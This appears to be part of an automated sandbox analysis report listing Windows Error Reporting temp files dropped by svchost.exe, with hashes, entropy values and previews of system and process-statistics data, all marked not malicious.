.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA32A.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695831431233755
Encrypted:	false
SSDEEP:	96:TiZYWGiEa5bYcY3u+3HhYEZnktFigMqSnw83eqM1aSnOLUM9M2QYB2FIKeQ:2ZDR7AFu9aSnfM9cYLKeQ
MD5:	FE3B1B46C0BDFE3D31CE83AC47B1DF2D
SHA1:	1433130E731044E1F14E88B464C873E157B13C7B
SHA-256:	2CA8FE264E2F85F3449B31FD1AABD24A87136E5BBD320B0CBE03D473E0B10BF2
SHA-512:	62C9E8CFABD20A8DD607A1E11AB1FB9EB1B6598F466E81B582B4CD2D7A17946971FF74E6C90B3F4C6E189563E479599FD25C2312CF80C8F4953E5A7C419C2220
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4A2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97470
Entropy (8bit):	3.069672081316312
Encrypted:	false
SSDEEP:	1536:DXqK1tTlntiDfb6iNJbuP7+RY05+Zj/ICU7yoX7oVt0YCBV6es4CL:DXqK1tTlntiDfb6iNJbuP7+RY05+Zj/n
MD5:	78975CCF61513C6B7125C01DE378583E
SHA1:	84CFBCC29195F5F95DADF4BF333C5B22FD955753
SHA-256:	86AB1B94116EA55565F36AA35AB7AECBF8D2012673E67AB409C1C84B198A38E0
SHA-512:	6F6D07F201023662C4780B73E7BF658723D2D71C9EE9895D66C501F5BE045E62433B36C42714621D2E196C7B1BB465CD208D0FF7AE60A9C7C2EC81BCBAD7AD99
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4C2.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97470
Entropy (8bit):	3.069826818778083
Encrypted:	false
SSDEEP:	1536:fzxsqK1tXlntiDfb6iNJbuP7+RY05+Zj/ICUTyoN7oVtI9CvAz6es4CC:fzxsqK1tXlntiDfb6iNJbuP7+RY05+Zm
MD5:	D2EA6682B9E65D3F41F21E0376F7AEF8
SHA1:	ED086869518D1B3F90C5FB13893EE210BBC9B926
SHA-256:	5BF1CB5891731D705BD622D431A02E7AFE9E1686A04CB8D61F2EA980277C8E7A
SHA-512:	39BC92AE3272127D4A994E6FBE8BC130DB18A2134F1CC2181590D19F9EE72FD8AC38D944AB69C29E0510CAC1428D7416388EF8075B7CFB92FD3E74F1AA1152DD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA59E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6962672714885305
Encrypted:	false
SSDEEP:	96:TiZYWHDHUsZYJYuuOhyGQHhYEZkvtFiwMPSZwb3ezkaXnDeMQYpuIyeY:2ZDjbuRNquYaXnSMQYnyeY
MD5:	5572FC5DAE84C091D7F080C0A53F7287
SHA1:	46D341A6B5963F1D96D49CD6C22B3BC565A87D53
SHA-256:	C276E89C469E89DA01098C39A69652C498F074842F97949B23E4DBA8BACE86E5
SHA-512:	F0B28623E2F1E6727EA605CF59248E85F2ED957F15E9A4ADD8EFD9DE91CB704AB3425500D25F8E704F41EBDC8370EA5590CBA5D381A6B924D88B38E4908CBBBD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA774.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696049418255799
Encrypted:	false
SSDEEP:	96:TiZYWOhY+UsYCYQuCXPHFYEZa6tFi3MeSs6wElgeL/Ja0n31MbYpSIaeY:2ZDSFdSxsrJa0nlMbYbaeY
MD5:	F7A35A67C5F852B6F8BE9B73E446281C
SHA1:	3C68F1A595BFB92C439C1DC483AFCC41EB3A70A9
SHA-256:	7BF73C40FF191AB64338F7BADAE3FB9BDF08FF5F505231F5C20CBF3AF47F34AD
SHA-512:	E04AA4CA617DC2E8D6BD6CB86E9477B9EC27BDCF7F38E56B311DE7B4F9523B19F81DE2E1A8CC4A30356DC1C7D523F15214DBC67EBC7C2F44795F11699682079D
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB04E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97380
Entropy (8bit):	3.0686014280968728
Encrypted:	false
SSDEEP:	1536:9uXf+iFlsDfzliAJbap7+RY05+Zj/ICU2oY7oVNFHsmPUeqeV:9uXf+iFlsDfzliAJbap7+RY05+Zj/ICo
MD5:	B0B04E4B3F357845BD089A1EDE9875BB
SHA1:	16F61E27C8D52EAD7E552A19ED8F70C63442157B
SHA-256:	41F0FB55B8775D8A654D4B395D9E11BB59A512E0C308198F9C4A219EE2B16B5C
SHA-512:	2519999A8BB9FF961A3DB39D871F0B9D13D50F4F73378940D759A6FF29E5D2E16FA76EFBC872B3636F74C9169F2DDEAE9AD6E9C9CFD5C49344CDB2C0BCA22BD9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB1E6.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97778
Entropy (8bit):	3.068200587689027
Encrypted:	false
SSDEEP:	1536:Yt9iSlXDfzliAJbTp7+RY05+Zj/ICU3ov7oVuGQcdTP3s:Yt9iSlXDfzliAJbTp7+RY05+Zj/ICU3w
MD5:	705C93D6FD96D081A5C72271C2E1CE20
SHA1:	70527CF28D4D851DECE12425B48E81861D023AEF
SHA-256:	755B263C4FE448E07D03E05EFCA839A3A579B0E1C10FAFCFA573EBAC35AC2C44
SHA-512:	182448C8E75EDF99C88BF544F22A99562E99BAF1C069DBF93324E07B7075B680EC66CC21C21DC1FB82DAF3308127DA8055013AA1127D64C19A574BB14C413924
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB206.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97758
Entropy (8bit):	3.0680246186162945
Encrypted:	false
SSDEEP:	1536:2o9idlrDfzliAJbfp7+RY05+Zj/ICU3o87oVuF+UoA/MN:2o9idlrDfzliAJbfp7+RY05+Zj/ICU3g
MD5:	12E72BC013B63315B082FC5AAB93DF4F
SHA1:	F4B59294476DDE3CDAA9D9BC22C77DDE203A7B9B
SHA-256:	0C4794EB7C1AC88C8E191A0422141ACEAAA90548A3BF0ACF08A7CC9B952CB3F2
SHA-512:	F0AB108F11479ED38124C76BE1EA0E2CCCEDAA003873990A5DA03FC55F53FE63E805A0073E9E629BE113C4C575CFA1183F75ACE4AB95BD7D33BFC0584A82370A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB301.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696058992251912
Encrypted:	false
SSDEEP:	96:TiZYWiq1F0YTYCoaodHPYEZg1DtFiSM2SRw8geaPxRapZnMCMUYgIoeA:2ZDsUr1oUxRannrMUY3oeA
MD5:	7E7E9C39E5CCE4E6B65D14E992796E49
SHA1:	119D51102FD549D3A617B24CE948FD303514C42D
SHA-256:	459F8193F5FD1AE96B3B06A444DEA71EF257AA573D1AADC435AF89577E95D2FE
SHA-512:	8B14E47EC19F78094A2551501314AD001CF294857AED5A8CD05D8E4D551E30DFFF17A5E149EAD9E528113F469BBD630652E5FFB9314D2650CDE11380DFB3E426
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB39E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97820
Entropy (8bit):	3.068090767356156
Encrypted:	false
SSDEEP:	1536:+1SioMXDfzlieVbsKp7+RY05+Zj/ICUboO7oVuzmnsD0I0PzkH:+1SioMXDfzlieVbsKp7+RY05+Zj/ICUP
MD5:	3E29B2287D2C62E9D9B1673164F7BBC2
SHA1:	9C930CA7D23E8B5AB45E7B7EA7F87D5C0984297C
SHA-256:	F533A3A125E5C918E7D7A9824B42DDC0D6278A9B4BBC09B62C275F10A935950A
SHA-512:	9BACEEAE2355CAD55591160529D89410B62ADBBF6DF3CD39151512E0DB21044DF617B8046CEDCD821F11D2C0761FCB51655D5A28D70E63B9E07F913F0B332AFD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB3DE.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6957308974185055
Encrypted:	false
SSDEEP:	96:TiZYWhQVUGGqY/YbtacaHPYEZtXtFidMkSRwugenla72no7MvYmI2eB:2ZDhkNIpVlaSnuMvYh2eB
MD5:	AA3BA5900E647DACF9E4C761B93A0464
SHA1:	AE96972F7D955C8AE1DB1DC6825962104A7D05AE
SHA-256:	DE3D84213CDB38145DB8E6C05EE87101C5976B86CD3800ED6C679D06D0819CEB
SHA-512:	57B7FE9A87F4877AFAADB39D817750A6E2A8737456C225BEF335C9949B4E13C0B957A4C526D6BBE4AC19E9A5207809B7072A7B60E36FB93620AD4D7A8F63E4BD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB42D.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6954690185903973
Encrypted:	false
SSDEEP:	96:TiZYW4iNU/YCYbNAafsHPYEZsNCtFizCMkSRwHYgeBPa0Znu8YMGYuaIEeuE:2ZDeVcX7Za0ZnoMGYcEeH
MD5:	B1A566DA1C31F9CBD430C6F3B25508CA
SHA1:	6B34DF544476E6D1C529EC9D6C84D62462619622
SHA-256:	BAE98F9C563DF8998B63EF711097BB2C21DDCD37CFC22F810FF4D8A6D6E09BC4
SHA-512:	A78D20219EC6C9E930ACFF545DDEFABA39545E5A424FC137307C148484240001265D1E3A3E51055FDA55087E00849C4DBD62A6789E365EC85F9302B02DE52339
Malicious:	false
